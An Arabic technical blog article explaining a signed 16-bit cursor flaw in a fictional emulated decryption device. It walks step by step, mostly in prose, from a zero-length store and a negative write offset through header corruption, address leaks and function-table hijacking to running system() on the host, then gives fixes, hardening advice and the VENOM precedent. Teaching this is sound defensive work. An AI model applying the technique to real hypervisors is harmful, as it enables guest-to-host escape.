Skip to content
• 30 دقيقة للقراءة

Signed Cursor Arithmetic Explained: حين يبدأ العدّاد بالعدّ إلى الخلف فيكتب فوق بيته

من طلب واحد فارغ إلى هروب كامل من الضيف إلى المضيف: تشريح تقني لكيف يمشي مؤشر موقّع 16-بت إلى السالب داخل queue فك تشفير في جهاز افتراضي، فيتحول إلى فيض خلفي على الـ heap، وينتهي بأن ينادي الـ emulator دالة system بأوامر المهاجم.

#virtualization #hypervisor-security #memory-corruption #integer-overflow #exploit-development
Signed Cursor Arithmetic Explained: حين يبدأ العدّاد بالعدّ إلى الخلف فيكتب فوق بيته hero illustration
تسجيل صوتي للمقال
قراءة آلية
0:00 / --:--

تخيّل أمين مستودع قديم، من النوع الذي يدوّن كل شيء في دفتر، ويعتبر الدفتر أصدق من عينيه. المستودع صفوف من الصناديق المتشابهة، وعلى جانب كل صندوق بطاقة صغيرة مكتوب عليها رقمان: من أين توقف في القراءة، ومن أين توقف في الكتابة. وظيفته كلها أن يرصّ الأوراق الجديدة ابتداءً من رقم الكتابة، ثم يحرّك الرقم إلى الأمام بعدد ما رصّه. فعل هذا عشرات آلاف المرات دون حادث واحد، ولهذا توقف الجميع عن مراقبته منذ زمن.

في أحد الأيام سلّمه أحدهم ظرفاً فارغاً وطلب منه أرشفته. أرشفة صفر ورقة لا تغيّر شيئاً في الأوراق، لكن لأميننا عادة ثانية لم يطلبها أحد: بعد كل أرشفة ينظر إلى آخر ورقة بحثاً عن ختم يخبره كم صفحة يشطب، ثم يحرّك رقم الكتابة إلى الخلف بذلك المقدار. ومع الظرف الفارغ نظر إلى الورقة التي قبل مؤشره، وهي ورقة رصّها الأسبوع الماضي، وتحمل ختماً لم يضعه هو. بل وضعته أنت.

حرّك رقم الكتابة ست عشرة خانة إلى الخلف. ثم وصل ظرف سمين، فبدأ الرصّ من ست عشرة خانة قبل بداية الصندوق أصلاً. رصّ بنظام، ورقة ورقة، مخترقاً جانب الصندوق، ثم البطاقة الملصقة عليه (يحدّث أرقامه هو نفسه بقيمك أنت أثناء المرور)، ثم الصندوق المجاور. وذلك الصندوق المجاور، بالمناسبة، يحوي سجلّ المفاتيح الرئيسية للمبنى.

ومن اختار الأختام؟ أنت. ليس باقتحام، بل فقط بأرشفة أوراق مختومة، لأن الأمين يعامل الأختام كأوامر والأوراق كحقائق، ولم يخبره أحد يوماً أن الوظيفتين تتعارضان.

لو صادفت من قبل ثغرة أعداد موقّعة فأنت تعرف أميننا هذا. ولو صادفت عتاداً افتراضياً فأنت تعرف المستودع: جهاز PCI مُحاكى داخل hypervisor، يرصّ كتلاً مشفرة في ذاكرة المضيف نيابة عن جهاز افتراضي ضيف. وفيما يلي القصة الكاملة لكيف حوّل عدّاد تعلّم العدّ إلى الخلف أداة حماية إعلامية إلى هروب من الضيف إلى المضيف، ثم إلى تنفيذ أوامر على الجهاز الذي كان يفترض أن يحتجزنا. وخارطة الطريق أولاً، لتعود إليها كلما ثقلت التفاصيل.

خارطة الطريق

قبل الغوص، هذه هي السلسلة من أول بايت إلى آخر shell، لتعود إليها كلما تهت:

  1. جهاز يشبه الـ DRM: جهاز PCI مُصنّع (لنسمّه Vault) يفك تشفير المحتوى داخل queue على المضيف من كائنات node مربوطة، لكل منها مؤشر كتابة موقّع 16-بت.
  2. طلب بطول صفر: طلب تخزين صفر بايت يجعل الجهاز يقرأ طول الحشو من بايت قبل المؤشر، بايت من بيانات قديمة للمهاجم، ويطرحه من المؤشر. فيصير المؤشر سالباً.
  3. فيض خلفي: التخزين التالي يعمل memcpy عند buffer[negative]، فيهبط داخل ترويسة العقدة نفسها (size وr_off وw_off وowner وnext وprev) بنص صريح يختاره المهاجم بالكامل (مفتاح التشفير معروف للمهاجم بتصميم المصافحة).
  4. قراءة خارج الحدود: إفساد r_off إلى السالب يحوّل مسار التفريغ إلى قارئ للترويسة نفسها، تُرسل مباشرة إلى الضيف: عنوان العقدة، ثم عنوان الجهاز.
  5. تهيئة الـ heap في الجوار: رشّ عقد queue حتى تهبط واحدة ملاصقة لكائن الجهاز نفسه.
  6. قلب جدول الدوال: الكتابة فوق جدول عمليات (read/write) مع وسيطه، فيصير أي وصول عادي للجهاز نداءً لدالة system بنص المهاجم داخل عملية المحاكي.
  7. تنفيذ الأوامر على المضيف: المخرجات الكاملة تُهرَّب عبر القناة نفسها، وتُتحقق منها بايتاً بايت.

ما هي حسابات المؤشر الموقّعة أصلاً؟

نبدأ من الأساس، لأن فئة الثغرة أقدم من المحاكاة الافتراضية وستعيش بعدها. في لغة C يحمل النوع int16_t القيم من -32768 إلى 32767. اجمع فوق القمة تلتف إلى القاع، واطرح تحت القاع تلتف إلى القمة. كل مبرمج C يومئ لهذا كما يومئ السائقون للافتات السرعة.

و”المؤشر” هنا مجرد فهرس يتذكر موضعاً: مؤشر قراءة، مؤشر كتابة، إزاحات داخل buffer. والوصفة القاتلة دائماً من ثلاثة مكونات:

  1. مؤشر مخزّن في نوع موقّع.
  2. حساب عليه (+= size أو -= padding) بعوامل يؤثر فيها المهاجم.
  3. استخدام النتيجة كفهرس أو طول دون إعادة فحص الإشارة.

والحراسة موجودة عادة لكنها تفحص الشيء الخطأ. الحارسة المشهورة في قصتنا ترفض size > 4064 وsize < 0، وتبدو محكمة حتى تلاحظ أن size = 0 يعبر من البابين، وأن الحشو (قيمة ثانية يهرّبها المهاجم داخل البيانات) لا يفحصها أحد أصلاً. الحارس يراقب الباب الأمامي بينما الحشو يتسلق النافذة، والنافذة بناها مقاول الحارس نفسه.

قارنها بشيء تعرفه: هذه نفس عائلة الفهارس السالبة في لغات السكربت، إلا أن C لن ترفع لك استثناءً لطيفاً، بل ستحسب buffer[-16] بمعنى “ست عشرة خانة قبل الـ buffer” وتكتب بياناتك هناك بوجه جامد. الفرق الوحيد بين الانهيار والاستغلال هو هل يسكن شيء مهم قبل الست عشرة خانة. وفي عقدة queue على الـ heap، كل شيء مهم يسكن قبلها.

تفصيلة جانبية تستحق التوقف عندها لأنها تفاجئ حتى المبرمجين المخضرمين: الحساب على int16_t يُرقّى أولاً إلى int (32-بت)، فالتعبير w_off + size - pad يُحسب صحيحاً بدقة 32 بت، ولا يحدث الالتفاف إلا لحظة التخزين في الحقل 16-بت. أي أن الخلل غير مرئي في منقّح يتابع التعبير (يبدو سليماً!) ولا يتجسد إلا عند الإسناد. والأسوأ أن مقارنات مثل size > curr->size - curr->w_off تُرقّى أيضاً، فسالب w_off يجعل الطرف الأيمن أكبر، فيفتح المسار السريع أوسع كلما تعمّقت في السالب. اللغة تتآمر لتجعل جلسة التنقيح تبدو بريئة حتى لحظة الـ memcpy. عند المراجعة اقرأ نوع التخزين لا نوع التعبير، واعتبر كل تضييق مذنباً حتى تبرّئه فحوص المدى.

مؤشر موقّع (int16_t)مؤشر غير موقّع (uint16_t)
المدى-32768 .. 327670 .. 65535
0 - 16-16 (صامت وقاتل)65520 (صاخب ويفشل الفحوص)
فحص الملاءمة مع السالبيعبر أوسع (طرح السالب يضيف مساحة)حالة مستحيلة
نمط الفشلكتابة خلفية في البيانات الوصفيةإيقاف فوري عند الحدود
الحكمثغرة مقالنا هذاالنصف الأول من الإصلاح (مع فحوص لاحقة)

لماذا يجب أن تهتم؟

  • تختبئ خلف الاختبارات الناجحة. الصفر طول صالح. والمدخلات الفارغة مدخلات صالحة. والـ fuzzers التي تجرب الأرقام الكبيرة المخيفة فقط تمرّ بجانبها، واختبارات الوحدة نادراً ما تؤكد أن “المؤشر يجب ألا يسلب بعد تخزين لا شيء”.
  • تعيش في آلات الحالة للبروتوكولات. الثغرة تحتاج بايتاً مزروعاً من طلب سابق، أي أن مراجعة طلب واحد معزول لن تراها. يجب التفكير بالجلسات: ماذا يترك الطلب N خلفه ليستغله الطلب N+1؟
  • تعشق العتاد الافتراضي. الأجهزة المحاكاة تحلل أطوالاً وأحجاماً وإزاحات يتحكم فيها الضيف طوال اليوم، بلغة C، داخل أكثر عملية امتيازاً على المضيف. ثغرة حدود هناك ليست انهياراً، بل خرقاً للعزل بين المستأجرين.
  • تتصاعد بهدوء. فيض خلفي ببضعة بايتات في ترويسة كائن لا يُسقط شيئاً، بل يفسد بيانات وصفية يستمر البرنامج في الوثوق بها: مؤشرات وأحجام ومالكين وروابط. وكل حقل فاسد بدائية جديدة (قراءة وكتابة وحدود أوسع وعناوين مسربة)، والبرنامج يساعدك على استعمالها كلها عبر عملياته العادية.
  • تتضاعف. الكتابة الخلفية وحدها لا تعرف أين تهدف، والقراءة الخلفية تعطيها العناوين (نفس الثغرة بالاتجاه الآخر: تُنفَق الترويسة مرتين). هذا الثنائي (قراءة خارج الحدود تطعم كتابة خارج الحدود) هو المزيج القياسي في هذا النوع. من يصلح “الكتابة” ويترك “القراءة” أصلح العرض وأبقى المرض، لأن القراءة هي ما يجعل الكتابة دقيقة بدل أن تكون محظوظة.
  • تحب البنية متعددة المستأجرين أكثر من أي شيء. على حاسوبك ثغرة heap تُسقط عمليتك. وفي السحابة الثغرة نفسها في كود المحاكاة المشترك تتيح لمستأجر أن يقرأ مضيف مستأجر آخر. فنصف قطر الانفجار يتوسع مع الاستضافة، ولهذا تحصل نسخ الهروب من الـ hypervisor والحاويات على أسوأ التقييمات وأسرع الترقيعات.
  • تهزم التحقق الكسول. size % 16 == 0 يبدو تحققاً. وsize <= 4064 يبدو تحققاً. ولا شيء منهما يقول كلمة عن القيمة التي تحرّك المؤشر فعلاً، وهي size - padding، والحشو يأتي من داخل البيانات. تحقق من القيمة المحسوبة لا من المدخلات. اكتبها على الحائط.

الإعداد: جهاز خزينة يحرس أفلامك (بسوء شديد)

لنجعل الأمر ملموساً دون الإشارة إلى عتاد حقيقي لأي أحد، تعرّف على Vault: جهاز PCI مُصنّع لمنتج محطات سحابية، حيث يشغّل المستأجرون آلات افتراضية كاملة، ويقدّم المزوّد مشكوراً أداة “حماية محتوى” مُحاكاة للوسائط المميزة. يطلب الضيف من Vault تخزين كتل مشفرة، فيفكّ الجهاز تشفيرها داخل queue على المضيف، ثم يقرأ الضيف النص الصريح لاحقاً. والتشفير (مصافحة ECDH ومفتاح جلسة AES-CBC) مدرسي تماماً، والأهم أن الضيف يختار مفتاح الجلسة أثناء المصافحة بتشفير مادة مفاتيح من توليده هو. تذكر هذه التفصيلة، لأنها تعني أن كل نص صريح سيحسبه الجهاز هو نص يعرفه المهاجم مسبقاً. التشفير ليس الثغرة. التشفير ورق الهدايا حول الثغرة.

والـ queue قائمة مربوطة دائرية مضاعفة من العقد تسكن heap المحاكي:

typedef struct vault_node {
    struct vault_node *prev;   /* +0x00 */
    struct vault_node *next;   /* +0x08 */
    int16_t  size;             /* +0x10 */
    int16_t  r_off;            /* +0x12 */
    int16_t  w_off;            /* +0x14 */
    struct vault_queue *owner; /* +0x18 */
    char     buf[0];           /* +0x20 */
} vault_node_t;

والعقدة الجديدة تحمل size = 4064 (صفحة ناقص 32 بايت ترويسة) والمؤشرين صفراً. ومسار التخزين يشبه كل مسار تخزين كُتب يوماً:

bool vault_store(vault_queue_t *q, aes_ctx *k, uint8_t *cipher, int16_t size)
{
    if (size > 4064 || size < 0)   /* الحارسة المشهورة */
        return false;
    if (size % 16)
        return false;
    vault_node_t *curr = q->head;
    if (size > curr->size - curr->w_off) {
        /* ... التوزيع على عقدة جديدة (المسار الطويل) ... */
    } else {
        memcpy(&curr->buf[curr->w_off], cipher, size);
        aes_decrypt(k, &curr->buf[curr->w_off], size);
        uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
        if (!pad) return false;
        curr->w_off += size;
        curr->w_off -= pad;          /* <== عادة أميننا الثانية */
    }
    return true;
}

وفاحص الحشو قصير لدرجة الحفظ والندم:

uint8_t check_padding(uint8_t *buf, int16_t size)
{
    uint8_t *last = buf + size - 1;
    if (*last < 1 || *last > 16) return 0;
    for (int i = 0; i < *last; i++)
        if (last[-i] != *last) return 0;
    return *last;
}

اقرأها مرة أخرى واعثر على الحقيقتين اللتين تنهيان العالم. الأولى: حين size صفر يشير last إلى buf[-1]، بايت لا علاقة له بهذا الطلب. والثانية: لا شيء في أي مكان يتحقق أن w_off بقي سليماً بعد الطرح. تعيد الدالة رقماً بين 0 و16، فيطرحه الاستدعاء من المؤشر، ويمضي الجميع في حياتهم.

المصافحة (لماذا يعرف المهاجم كل شيء)

قبل تخزين بايت واحد يجري الطرفان الرقصة الصغيرة التي تجريها كل منتجات الـ DRM، وتستحق التوقف عندها لأن الرقصة هي ما يجعل المراحل اللاحقة مختارة لا عمياء:

  1. يخصّص الضيف queue على الجهاز (عقدة فارغة والمؤشرات مصفّرة). ممل وضروري ومجاني.
  2. يولّد الضيف زوج مفاتيح ECDH محلياً ويسلّم نصفه العلني للجهاز عبر صفحة ذاكرة مشتركة. يجمعه الجهاز مع نصفه الخاص (المولود من عشوائية المضيف عند الإقلاع) ويعيد نصفه العلني على الصفحة نفسها. فيصير للطرفين سرّ مشترك لا يتعلم المتنصت منه شيئاً. بروتوكول جميل. والآن انظر فيمَ يُستعمل.
  3. يولّد الضيف مفتاح الجلسة بنفسه (16 بايت مفتاح و16 بايت IV من عشوائية جديدة)، ويشفّر الظرف بالمفتاح المشترك، ويسلّمه. فيفكّه الجهاز ويثبّته شفرة الـ queue.

اقرأ الخطوة الثالثة ببطء، لأنها المباراة كلها في جملة واحدة: الطرف المُختبَر (الضيف، أي أنت) يختار المفتاح الذي سيستعمله الجهاز. فكل نص صريح سيحسبه الجهاز لاحقاً هو فكّ تشفير نص اخترته أنت، بمفتاح اخترته أنت، أي أن كل بايت مزروع في الـ queue هو بايت حدّدته سلفاً. يسمّي علماء التشفير هذا إعداد نص-مختار. ويسمّيه المهاجمون الأعياد. لم يهاجم أحد الشفرة. ولم يحتج أحد لذلك. فقد أدت وظيفتها بإتقان، وهي غسل بايتات مختارة من المهاجم إلى منطقة ذاكرة مميزة، بختم أصالة لم يطلب أحد التحقق منه.

وصيغ الرسائل لتتخيل الصفحات: صفحة التبادل تحمل مفتاحاً علنياً 64 بايت في كل اتجاه عند الإزاحة صفر؛ وصفحة تحميل المفتاح تحمل 32 بايت (مفتاح ثم IV) مشفرة؛ وصفحة التخزين تحمل حتى 4064 بايت نصاً مشفراً مع طول 2 بايت؛ وصفحة التفريغ تستقبل بالضبط ما يبلّغ عنه الجهاز من بايتات. كلها مرئية للضيف بالبناء (الذاكرة المشتركة مشتركة)، وكلها موثوقة لدى الجهاز بالعرف. وحدود الثقة لم تكن يوماً البايتات، بل الأرقام عن البايتات، والأرقام هي بالضبط ما يذبحه القسم التالي.

جدول الجرد لمن يحب الجداول (وهو صادق هذه المرة):

العنصرموثوق؟لماذا
محتويات الصفحات (نص مشفر)لامكتوبة من الضيف بالتعريف
الأطوال والأحجام والإزاحاتلامكتوبة من الضيف، وهي سطح الهجوم الفعلي
مفتاح الجلسةللسرية فقطمختار من الضيف، يمنح نصاً مختاراً لا سلامة
قيم المؤشرات في ذاكرة الجهازلامشتقة من الاثنين السابقين
تنفيذيتا AES/ECDHنعم (مكتبات جاهزة مدققة)لم تكن الثغرة يوماً، وهوجمت صفر مرات هنا

المشي بالأرقام (تابع معنا، يستحق العناء)

تذكير بالتخطيط: الترويسة تنتهي عند buf، وbuf يبدأ عند الإزاحة 0x20، والمؤشرات 16-بت موقعة. والعقدة الجديدة كلها أصفار عدا size = 4064.

الخطوة 1، ازرع الختم. خزّن 16 بايت ينتهي نصها الصريح بعد فك التشفير بست عشرة خانة 0x10 (أنت تملك المفتاح فالنص الصريح ما تشاء، والنص المشفر مجرد تغليف). المسار السريع: w = 0 + 16 - 16 = 0. تبدو الـ queue كما لم تُمس. لكنها مُسّت: آخر ست عشرة خانة من buf صارت 0x10، في الموضع نفسه الذي سينظر إليه buf[-1] في الطلب التالي.

الخطوة 2، أرشف الظرف الفارغ. خزّن بطول size = 0. تعبر الحارسة (الصفر ليس أكبر من 4064 ولا سالباً، و0 % 16 == 0). تُنسخ صفر خانات، ويُفك تشفير صفر خانات، ثم يقرأ check_padding(buf, 0) طول الحشو من buf[-1] = الـ 0x10 التي زرعتها، ويتحقق إلى الخلف (محقَّق فراغياً عند الحد)، فيعيد 16. ثم w_off += 0; w_off -= 16 فيصير المؤشر -16. كرّر بزرعات مدروسة فيمشي المؤشر سالباً كما تشاء، وكل خطوة “صالحة” لوحدها.

الخطوة 3، أرشف إلى الخلف. خزّن 48 بايت والمؤشر عند -16. يسأل فحص الملاءمة 48 > 4064 - (-16) أي 48 > 4080، وهذا خطأ (طرح السالب أضاف مساحة، شكراً للحساب)، فينطلق المسار السريع: memcpy(&buf[-16], cipher, 48). وهذا العنوان قبل مصفوفة البيانات بست عشرة خانة، أي ترويسة العقدة نفسها: size[2] r_off[2] w_off[2] pad[2] owner[8] (16 خانة) مع أول 32 خانة من buf. ثم تُفك الخانات في مكانها، فتستقر الترويسة على نصك المختار. لقد حرّرت للتو بطاقة الصندوق بقلم الصندوق نفسه. وتأمل فحص الملاءمة مرة أخرى لأنه يستحق: كلما تعمّق مؤشرك في السالب اتسعت المساحة التي يظنها الفحص. فكل خطوة إلى الخلف تشتري ست عشرة خانة امتداداً إلى الأمام. فالحارس لا يكتفي بعدم إيقافك، بل يرعى رحلتك.

الخطوة 4، اقرأ البطاقة. ازرع r_off=-32, w_off=0 بالطريقة نفسها، ثم اطلب التفريغ بحجم متواضع. تنسخ الحلقة buf[-32..63]: الترويسة (prev = عنوان العقدة، وowner = عنوان الـ queue) مع البيانات، مباشرة إلى ذاكرة مرئية للضيف. اطرح إزاحة الـ queue المعلومة تملك عنوان كائن الجهاز على المضيف. لقد قرأ لك أميننا للتو ملفّه الوظيفي.

الخطوة 5، اسكن بجوار الجار. رشّ عمليات تخزين حتى تقارب الـ queue حدّها الأقصى من العقد؛ ستهبط عقدة جديدة ملاصقة لكائن الجهاز نفسه في heap المضيف. اكتب فوق ترويسة جارك بالنافذة الخلفية نفسها، لكن هذه المرة تجاوز الترويسة: فالجار هو الجهاز، وداخل الجهاز جدول عمليات، بنية صغيرة من مؤشرات دوال (read وwrite) ملاصقة لمؤشر سياق. وجّه الجدول إلى ذاكرة تتحكم فيها (جدول مزيّف في صفحة التبادل، يحمل عنوان دالة system)، ووجّه السياق إلى نص أمرك (في الصفحة نفسها، موضوعة عبر المصافحة العادية)، ثم نفّذ أبريأ عملية في الواجهة: اقرأ بايتاً واحداً عند الإزاحة صفر. يستدعي الموزّع دالتك بوسيطك، في عملية المحاكي، بصفة مستخدم المضيف. لقد سلّمك الرفّ سجلّ المفاتيح الرئيسي لأنك طلبت بالأدب عبر الاستمارة الصحيحة.

الخطوة 6، أثبت واقبض. غلّف كل أمر بحيث يهبط مخرجه في ملف، وهرّب الملف مشفّراً عبر كل قناة إلى نفسك، ولا تصدّق شيئاً حتى يعود علامة عشوائية في المخرجات المفكوكة. ستنقذك عادة العلامة مرتين: مرة حين يرتبط التوجيه بالأمر الخطأ فيضيع المخرج الحقيقي، ومرة حين يقسّم المفكّك دفق base64 في منتصف الكمّ فيتوقف النصفان عن المطابقة. ثق بالعلامة لا بالأحاسيس.

متغيرات للتأمل (أفكار مجاورة)

  • ماذا لو كان المؤشر uint16_t؟ لالتفّ الطرح إلى قيم 65520 فيفشل فحص الملاءمة بصخب. فعدم التوقيع لا يصلح خلل المنطق، لكنه يحوّل قاتلاً صامتاً إلى قاتل صاخب، وهذا نصف المعركة.
  • ماذا لو تحقق الحشو قبل النسخ؟ لقرأ buf[-1] على المدخل الفارغ أيضاً (القراءة هي المشكلة لا الترتيب)، فقط دون كتابة بعدها. ولسار المؤشر سالباً. فترتيب العمليات ليس الداء هنا.
  • ماذا لو أعاد مسار التفريغ فحص r_off >= 0؟ لقتل ذلك الخطوة 4 (بدائية القراءة) لكن الخطوة 3 (الكتابة) تملك الترويسة أصلاً بما فيها w_off نفسه. فالدفاع بالعمق يعني إصلاح الاتجاهين مع الطرح.
  • وماذا لو فُحصت صفحات DMA نزاهةً؟ مستحيل: فالضيف يملك ذاكرته بالتعريف. وحدود الثقة هي الأطوال والإزاحات أبداً لا البايتات.

الشيفرة الضعيفة مقابل الشيفرة المصلحة

المعروض الأول، مسار التخزين. ضعيف (ما استغللناه للتو):

memcpy(&curr->buf[curr->w_off], cipher, size);
aes_decrypt(k, &curr->buf[curr->w_off], size);
uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
if (!pad) return false;
curr->w_off += size;
curr->w_off -= pad;   /* خطر: لا فحص لحدّ أدنى، والحشو مشتق من البيانات */

مصلح (قيّد المؤشر المحسوب لا المدخلات):

memcpy(&curr->buf[curr->w_off], cipher, size);
aes_decrypt(k, &curr->buf[curr->w_off], size);
uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
if (!pad || pad > size) return false;
int32_t w = (int32_t)curr->w_off + size - pad;   /* وسّع قبل الحساب */
if (w < 0 || w > curr->size) return false;       /* تحقق من النتيجة */
curr->w_off = (int16_t)w;

لماذا يعمل: التوسيع إلى 32 بت يلغي الالتفاف، وفحص النتيجة (لا المعاملات) يغلق ثقب size = 0 وثقب السالب وثقب كل شكل مستقبلي من العائلة نفسها في سطر واحد.

المعروض الثاني، فاحص الحشو. ضعيف:

uint8_t check_padding(uint8_t *buf, int16_t size)
{
    uint8_t *last = buf + size - 1;   /* خطر: size = 0 يقرأ buf[-1] */
    ...
}

مصلح:

uint8_t check_padding(uint8_t *buf, int16_t size)
{
    if (size <= 0 || (size % 16) != 0) return 0;  /* خطر:
        المدخل الفارغ يجب ألا يستشير ذاكرة لم تُعطَ له أصلاً */
    uint8_t *last = buf + size - 1;
    ...
}

المعروض الثالث، مسار التفريغ. ضعيف:

while (counter < size) {
    if (curr->r_off < curr->w_off) { out[i++] = curr->buf[curr->r_off++]; counter++; }
    if (curr->r_off == curr->w_off) { /* افصل أو اكسر */ }
    /* خطر: r_off > w_off لا يطابق شيئاً فيدور إلى الأبد ماسكاً القفل */
}

مصلح:

if (curr->r_off < 0 || curr->r_off > curr->w_off) return 0;  /* خطر:
    زوج مؤشرات لا يمكن أن يتلاقى يجب رفضه مقدماً، لأن الحلقة أدناه بلا فرع ثالث */
while (counter < size) { /* ...كما هي... */ }

ولاحظ أن الإصلاح الثالث يشفي مجاناً أبشع أعراض التشغيل: حرمان الخدمة للجهاز المعلق، فالتحقق صيانة للتوافر لا للنزاهة فقط. قل ذلك لمن يظن فحوص الحدود “مسرحية أمنية”.

الدفاع: كيف تصلح هذه الفئة، مرقّماً

  1. تحقق من القيم المحسوبة لا المدخلات. بعد كل cursor += a; cursor -= b أكّد أن النتيجة داخل [0, bound]. هذه القاعدة وحدها تقتل الفئة كلها.
  2. وسّع قبل الحساب. ارفع مؤشرات 16-بت إلى 32 بت للحساب، ثم حدّد المدى، ثم ضيّق. فالتوسيع شبه مجاني ويلغي الالتفاف كمفهوم. واجعل المترجم شريكك: -Wconversion -Werror تحوّل كل إسناد مضيّق إلى فشل بناء حتى يبرّره إنسان كتابة. فمعظم ثغرات المؤشرات تموت عند الترجمة بهذين العلمين، بهدوء وبلا دراما، وهكذا تريد لثغراتك أن تموت.
  3. عامل الصفر مدخلاً حقيقياً. جرّب 0 والمخازن الفارغة والعدد صفر صراحة. فنصف ثغرات المؤشرات تفتح الباب للصفر.
  4. لا تشتق بيانات تحكم من البيانات نفسها. فبايت الحشو بيانات. وحقل الطول داخل الـ buffer بيانات. وإن حرّك مؤشراً فأعد اشتقاقه من حالة موثوقة أو قيّده بوحشية.
  5. امنح كل حلقة فرعاً ثالثاً. فإن عالجت حلقتك a < b وa == b فقرر في الشيفرة ماذا يفعل a > b (أجهض أو ثبّت أو صفّر). فـ”مستحيل الحدوث” ليس فرعاً بل دعاء.
  6. افصل البيانات الوصفية عن المخازن. فالترويسات المضمّنة قبل البيانات التي تصفها على بعد نقص واحد من الكتابة فوقها. فمنطقة حراسة أو تخصيص منفصل أو على الأقل canary يشتري الكشف.
  7. راجع الجلسات لا الطلبات. فأي فحص يجتاز الطلب N معزولاً وينكسر حين زرع الطلب N-1 حالته ثغرة جلسة. راجع انتقالات الحالة عبر البروتوكول كله بالترتيب.
  8. فزّر بحالة. فالتفجير أحادي الطلقة لا يزرع أبداً بايتات 0x10 التي تحتاجها الخطوة 2. فيجب أن تتقن أدواتك المصافحة كاملة، وتبقي الجلسات مفتوحة، وتغيّر التسلسلات لا الحزم.

سابقة من الواقع: VENOM

  • ماذا حدث. في 2015 وجد باحثون أن وحدة تحكم القرص المرن الافتراضية في QEMU تثق بطول مخزن يتحكم فيه الضيف، وتتيح وصولاً خارج الحدود إلى ذاكرة المحاكي (CVE-2015-3456 الملقب VENOM). فصار بإمكان الآلة الضيف القراءة والكتابة خارج مخزن المرن وتنفيذ شيفرة على المضيف في النهاية. نفس هيكل قصتنا: أطوال مؤثَّرة من الضيف وشيفرة C وعملية مضيف ولا عزل يصمد.
  • كيف عضّ المرن. تنقل وحدة FDC الأوامر عبر FIFO صغير: يكتب الضيف بايتات الأوامر فتتصرف الوحدة وتتدفق البيانات. وتأخذ عدة أوامر FDC أعداداً من الضيف (إزاحات بحث وأطوال نقل وأعماق FIFO)، وكانت المحاكاة تفهرس مخازنها بتلك الأعداد دون التأكد من ملاءمتها. فطلب الضيف الخبيث مرناً أكبر من الموجود فأطاعه المحاكي بقراءة heap المضيف المجاور وكتابته. ولا حاجة حتى لدكتوراه تهيئة: فمخازن المرن في مواضع متوقعة، والأوامر المتكررة تتيح التجوال في الجوار. استبدل “بايت أمر المرن” بـ”حجم فك التشفير” و”FIFO” بعقدة “queue” وستقرأ مقالنا نفسه بأسماء مختلفة، وهذه بالضبط نقطة فئات الثغرات مقابل نسخها.
  • الأثر. كل مزودي السحاب والمحاكاة الكبار الذين يشحنون الشيفرة المصابة اضطروا للترقيع، وكانت الثغرة راقدة في الشيفرة منذ 2004. أحد عشر عاماً من “مشغّل المرن ممل ولا أحد يراجعه”.
  • الدرس. شيفرة الأجهزة المملة هي بالضبط حيث تعيش هذه الثغرات أطول. فكلما قلّ بريق الطرفية طال العمر المتوقع لثغرتها. راجع مشغّل المرن. وراجع أداة الـ DRM. وراجع كل جزء في stack يفترض الجميع أنه أتفه من أن يكون خطيراً. (وإصلاح VENOM بالمناسبة كان التوقف عن الوثوق بالضيف في أطوال المخازن في وحدة المرن. أحد عشر عاماً وفحص طول واحد. وتعمل الصناعة على قصص كهذه.)

تحصين الأجهزة الافتراضية (بعد إصلاح الثغرة)

إصلاح المؤشر ضروري وغير كافٍ، لأن الثغرة التالية ستكون في مكان آخر من العملية المميزة نفسها. فالدفاع بالعمق لأي شيء يحاكي عتاداً:

  1. قلّص سطح الجهاز. فكل جهاز مُحاكى سطح هجوم عن بُعد من كل ضيف. عطّل ما لا يحتاجه النشر (مرن في 2026؟). فالجهاز غير المترجم لا يُستغَل، وهذا يهزم كل تخفيف في هذه القائمة.
  2. احبس المحاكي في صندوق. شغّله تحت seccomp بقائمة نداءات ضيقة، وفي مستخدم ونطاقات تحميل وشبكة خاصة به، بلا وصول ملفات فوق صور الأقراص والسجلات. فثغرة كهذه تشتري عندها غرفة فارغة بدل المبنى.
  3. أسقط الامتيازات مبكراً. فالمحاكي لا يحتاج البقاء root بعد الإعداد. وكل هروب (ومنه هروبنا) يهبط بصفة المستخدم المشغِّل، فاجعل ذلك المستخدم بلا قيمة.
  4. عامل مدخلات الضيف كمدخلات شبكة. فالأطوال والإزاحات والعدد والفهارس من الضيف تستحق شكّ حزم الإنترنت نفسه: تحقق وحدّ وأعد التحقق بعد كل تحويل.
  5. فزّر نموذج الجهاز. فمعالجات MMIO/DMA المحاكاة قابلة للتفجير بجمال: أطعمها كتابات سجلات عشوائية وواصفات DMA في harness وشاهد الـ sanitizers تصرخ. فثغرة مقالنا ما كانت لتصمد ظهيرة واحدة من ذلك.

ابنِ مختبرك التدريبي

لست بحاجة لتحدّي أحد لتتعلم هذه الفئة عملياً، ولا يجب أن تستعمل تحدّي أحد مثالاً لهذا المقال أيضاً. اكتب نموذج مستخدم صغيراً بدلاً من ذلك: برنامج C من 200 سطر يطبّق عقدة queue بمؤشرات موقعة وتخزيناً يشبه التشفير وتفريغاً، كلها عبر stdin/stdout. ازرع فيه ثقب size = 0 عمداً، ثم استغل برنامجك أنت: امشِ بالمؤشر سالباً واقرأ ترويستك واقلب مؤشر دالة محلياً وافتح آلة حاسبة. ثم أصلحه بثلاث طرق مختلفة (غير موقّع وفحص لاحق وفصل البيانات الوصفية) وشاهد كل إصلاح يكسر مرحلة مختلفة من استغلالك أنت. فظهيرة كهذه تعلّم أكثر من شهر قراءة، لأن يديك تتعلمان ما تتصفحه عيناك. واحتفظ بالنموذج المصغّر من القسم السابق بجانب الـ fuzzer: أثبت الثغرة يدوياً على النموذج أولاً ثم دع الأداة تثبت تعميمها عبر الزرعات والأحجام وقيم الشرائح. الفهم اليدوي أولاً والأتمتة ثانياً، وبهذا الترتيب دائماً، لأن الـ fuzzer بلا نموذج ذهني يجد الانهيارات كما يجد كاشف المعادن أغطية الزجاجات: بحماس، ومعظمها خطأ.

نواقل الهجوم (أين يظهر هذا الشكل)

  • الأجهزة المحاكاة/الافتراضية (PCI وUSB وvirtio): أطوال يتحكم فيها الضيف تلاقي C على المضيف. سيناريونا وسيناريو VENOM. وتستحق واصفات حلقات virtio ذكراً خاصاً: فالضيف يكتب جدول الواصفات كله (عناوين وأطوال وأعلام)، أي أن كل حقل خاضع للمهاجم بالبنية، وعلى المضيف التحقق من كلها كل مرة دون استثناء.
  • خطوط الوسائط والتشفير: تدفقات فك-ثم-تقشير يكون مقدار التقشير فيها من داخل البيانات (PKCS#7 الخاطئ دائم الحضور).
